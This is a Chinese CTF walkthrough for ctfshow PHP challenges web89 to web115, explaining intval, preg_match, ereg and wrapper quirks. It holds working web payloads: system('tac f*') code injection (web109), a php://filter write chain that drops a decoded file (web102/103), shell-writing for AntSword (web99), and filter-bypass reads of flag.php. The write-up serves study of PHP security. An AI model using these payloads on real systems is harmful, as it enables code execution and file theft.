文章目录
web89
数组绕过
原理:
且 preg_math()传入数组参数也会直接返回0
web90
?num=0x117c
0x117c会转为4476
还是考察intval()函数
intval( mixed $var[, int $base = 10] ) : int
var
要转换成 integer 的数量值
base
转化所使用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。
web91
考察PHP模式修饰符m (PCRE_MULTILINE)
默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾,或者最后的换行符(除非设置了 D 修饰符)。
当这个修饰符设置之后,"行首"和"行末"就会匹配目标字符串中任意换行符之前或之后
当目标字符串中有换行符或者匹配中出现^
或者$
会受到影响
和这个相关的还有一个apache的解析漏洞 https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
payload:1%0aphp
web92
- ?num=0x117c
原理参考官方文档-intval() - ?num=4476e10
应该和浮点数表示有关 这里提到PHP浮点数不能直接比较相等https://www.cnblogs.com/youyoui/p/8479248.html
另外 PHP浮点数范围 -3.4E+38 ~ 3.4E+38 https://www.php.cn/faq/453900.html
web93
?num=4476.1
或者还可以使用八进制
二进制0bxxx
八进制0xxxxxx
十六进制0xaaaa
web94
?num=4476.01
web95
?num=+010574
web96
?u=./flag.php
web97
数组绕过 POST a[]=1&b[]=2
web98
web99
考察 弱类型-in_array()
直接写shell,如果不成功多试几次
蚁剑连接
web100
这里有个小特性是,PHP里面 =
的优先级是比and
优先级高的
and or
和&& ||
区别就是优先级不同前者的在=
后面,后者在=
前面
可以构造 var_dump(get_class_vars(‘ctfshow’));
web 101
构造echo new ReflectionClass('ctfshow');
?v1=1&v2=echo new ReflectionClass&v3=;
反射类:https://www.php.net/manual/zh/class.reflectionclass.php
web102 web103
payload:
GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin
本意是考察hex2bin()
和bin2hex()
php5环境下
php7环境下
利用GET或者POST等方式传参默认为字符串,所以本题payload就略难构造
必须构造一个经过bin2hex()函数转换后只有纯0-9和e的字符串
web104
GET ?v2=1 POST v1=1
应该是考察 https://blog.csdn.net/qq_19980431/article/details/83018232
web105
考察变量覆盖
这里有一个PHP语言的小特性即变量不需要声明
可以先定义变量$a=$flag
,再让$error=$a
web106
?v2=aaroZmOk v1=aaK1STfY
考察https://blog.csdn.net/qq_19980431/article/details/83018232
web107
?v3=s878926199a v1=flag=0
web108
payload: ?c=a%00778
考察ereg()截断漏洞.参考:https://blog.csdn.net/qq_25987491/article/details/79952393
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符大小写敏感
这里ereg有两个漏洞:
①%00截断及遇到%00则默认为字符串的结束
②当ntf为数组时它的返回值不是FALSE
数组绕过匹配:
web109
只要让new后面有个类不报错以后,就可以随意构造
payload:
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')
web110
payload: ?v1=FilesystemIterator&v2=getcwd
考察FilesystemIterator.
web111
?v1=ctfshow&v2=GLOBALS
很容易想到变量覆盖,但是找不到flag存在哪个变量
考察 全局变量GLOBALS
web112
绕过
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!");
读文件过滤姿势:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
?file=compress.zlib://flag.php
或者
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
web114
?file=php://filter/resource=flag.php
web115
思路:FUZZ绕过is_numeric和trim
脚本:
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}
// %09 %0A %0B %0C %0D + %2B - .
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'1';
if(trim($num)!=='36' and is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}
// %09 %0A %0B %0C %0D + %2B - .
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'36';
if(is_numeric($x) and $x!=='36' and trim($x)!=='36' and filter($x)=='36'){
echo urlencode(chr($i))."\n";
}
}
//%0c
可以FUZZ处理payload%0c36